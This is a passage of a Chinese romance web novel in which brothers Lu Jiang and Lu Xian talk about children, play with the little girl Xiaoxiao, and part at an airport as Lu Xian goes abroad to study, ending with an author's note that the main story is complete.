“噗咳咳咳……”卢绛呛了口果汁,“做绝育?为什么?” 卢羡寻看着草坪上的咪咪,眼神空洞,“嗯……很多原因啊!我是我,你别学我。” 卢绛连连摆手:“不学不学,我和凉哥虽然没有打算,但是,应该,可能以后也会想要有一个属于自己的孩子吧?但是我尊重他的选择,不要也挺好的,就两个互相扶持相依的过完这辈子。” 卢羡失笑:“你和他真好。” 在一切都能挽回之前,在最好的年纪,在对的时间,遇上彼此,爱上了彼此。 他们一切都那么完美,没有留下任何遗憾与缺憾。 不像他和桃花,他们彼此默契不提过去,一旦再次揭开伤疤,谁也无法再承受那样的伤痛,那是一辈子都无法治愈的伤痕。 卢绛:“你和大嫂也很好啊,以后一定会幸福的。” 卢羡苍白一笑:“谢谢。” 卢绛的心情莫名跟着凝重起来,“你,不喜欢小孩吗?” 卢羡沉默了许久,说道:“不是不喜欢,是恐惧,想到就会不安会心慌不知所措,心脏好像被剜了一个血淋淋的洞,透了风。渴望、喜欢,却下意识逃避。” 他现在能这么平静和卢绛聊起这些,已经自愈得差不多了,也在试图努力放下,才会没有顾忌。 “我知道了。”卢绛深吸了口气,冲他一笑:“没关系的,最重要的是自己嘛,以后要活得开心点。” 此时小小拿了奶奶做的小蛋糕出来,因为跟卢羡混得很熟了,小跑着来到卢羡面前,递了块小蛋糕给他,奶声奶气道:“哥哥吃,奶奶做的蛋糕,好甜的!” 卢羡不喜欢吃甜的,但还是很给面子表现得很惊喜,就着她递来的小手,一口接过蛋糕就吃了下去。 小小瞪着明亮的大眼,一脸佩服:“哥哥你好腻害啊!你的嘴好大啊,一口就把蛋糕吃了呢!” 卢绛也凑了过去,张大了嘴巴:“叔叔也可以的,快,下一个炫叔叔嘴里!” “叔叔你的嘴张得更大,我给你炫两个!”说着毫不客气的往卢绛嘴里塞了两个。 “什么啊?她叫我哥哥,然后叫你叔叔?那你不是占我便宜?” “唔唔唔……” 小小见他噎着,绕到了卢绛身边顺着他的背:“哥哥,卢绛叔叔要被噎死了。” “这证明他的嘴还是没那么大,下次还是喂一个吧。你要真把他噎死了,你的景叔叔要打你。” 小小信以为真,瘪着嘴竟然哇的一声哭了出来:“卢绛叔叔,你不要死啊!呜呜呜……” 卢绛连灌着饮料,好不容易将干巴的蛋糕咽了下去,“别听他胡说,景叔叔疼你还来不及,怎么会打你?你别哭了哦,要是被奶奶看到了,以为我欺负你,到时候该打的是我了。” 卢羡笑出声,朝小小招了招手:“过来,叔叔抱你。” 小小一头扎进卢羡怀里,“哥哥,你怎么又变叔叔了呢?你一下子就老了吗?” “我本来就是叔叔啊!你叫他叔叔,那也得叫我叔叔,不能小了辈份。” “那叫你什么叔叔呢?” “卢羡叔叔哦。” “卢羡叔叔!” “真可爱!”卢羡摸了摸小小的头,“你就叫小小吗?” “我叫卢向锦!” 卢绛点头:“嗯,卢向锦,向往前程似锦。” “那我要叫你锦锦。” “为什么?” “这样才比较特别啊,他们都叫你小小,只有我叫你锦锦。” “不可以,奶奶才比较特别。” 卢绛又点头:“是奶奶带的。” “卢羡叔叔带你玩点好玩的,你玩高兴了,就让我叫锦锦好不好?”卢羡就不信,拿不下一个小丫头。 “玩什么?”小小一听到他要带她玩,一下就来了兴趣。 卢羡抱起她坐在了自己腿上,让她抱稳了自己,然后驱动着轮椅在草坪里转动。 “向右,前行!我们要加速了!” “加速!!冲呀!!” “好不好玩?” “好玩!” “那能不能叫锦锦?” “叫锦锦。” 卢绛看得哭笑不得,“欸,你小心翻车啊!摔你自己不要紧,摔到小小,奶奶要心疼的。” “翻车不可能。”卢羡彻底放飞了自我,带着小小开着轮椅直到彻底没电。 卢绛喊了声:“景叔叔和天使哥哥回家了。” 小小从卢羡的腿爬了下去,跑着去接他们。 卢羡拨动着轮椅,看卢绛带着小小丢下他一个人跑得飞快,着急道:“你过来推我啊!” “你自己过来!”卢绛兴灾乐祸,从车里接下了两大袋食材,往屋内走去。 还是钟悦心疼他,往他怀里塞了一大袋,与小小一起推着他进了屋。 * 年后,卢羡开始考语言类证书,卢佑铭给他请了一个顶尖的英语老师每天给他恶补。 四月份拿下语言类证书后,卢佑铭给了他一封去国外名校大学的推荐信,准备出国事宜。 入学在八月底,出国前最后一次聚会也是在景凉的别墅那边。 知道他要来,卢绛将小小一并接了过来。 小孩子长得特别快,这次来钟悦给他带了好多礼物,有小裙子有画板,还有数不清的玩具。 钟悦抱着孩子在地毯那边拆礼盒,橘黄色的灯光将他与孩子温柔的包裹,那画面看起来很美好温馨,卢羡站在沙发边看了许久,突然脑海里涌现出一个想法,悄悄红了眼眶。 卢向锦,挺好的。 “哥,吃不吃水果?我老婆切的,好看吧!精致吧?!” 卢羡扭头看向他,郑重道:“谢谢你,阿绛。” “啊?谢我什么?” “谢谢你和景阿姨把锦锦照顾得很好。” 卢绛心脏紧了下,呼吸一窒,他猜到了? 卢羡拿了一块西瓜,笑着夸了句:“你老婆很厉害,你看这西瓜切得好像个三角形!” “你损我可以,别损我老婆。水果不给吃了,去喝凉白开吧!” “好好好,我错了!快给我见识一下你老婆切的绝世好水果,噗……”卢羡自己忍不住笑喷了。 卢绛背过身狂炫,已经不讲那待客之道。 参加完卢绛与景凉的婚礼,便到了分别之际,钟悦陪着卢羡要出国念书。 卢绛与景凉将他们送到了机场,黎花也在,但是因为她跟卢绛关系一直恶化,所以都是错开话别的。 等黎花说完离开,卢绛与景凉才过去。 卢羡笑道:“有时间可以带锦锦过来玩,包吃包住还负责当向导。” “我用得着你当向导?凉哥比你熟。” 说完,兄弟两给了彼此一个拥抱。 “努力念书,早点顺利毕业回来。” “嗯,多谢,锦锦就拜托你了。” “放心,我这个当叔叔的不会亏待她,去吧!大鹏一日同风起,扶摇直上九万里,外面海阔天空,任你遨游,你和钟悦都是自由的!” “再见。” “嗯,再见。” 卢绛与景凉目送他们一起消失在检票口,才转身紧扣着十指往回走。 “等下回家去超市吧,买菜回家给你做饭。” 景凉还没反应过来:“阿姨不是买了菜?” “阿姨昨天就请假回家了。” “啊对,我忘了。” “想吃什么?要不做个水煮鱼?我的拿手好菜。” “你做的我都爱吃。” 两人相视一笑,加快了回家的步子。 【作者有话说】 正文完结,大长番外走起咯!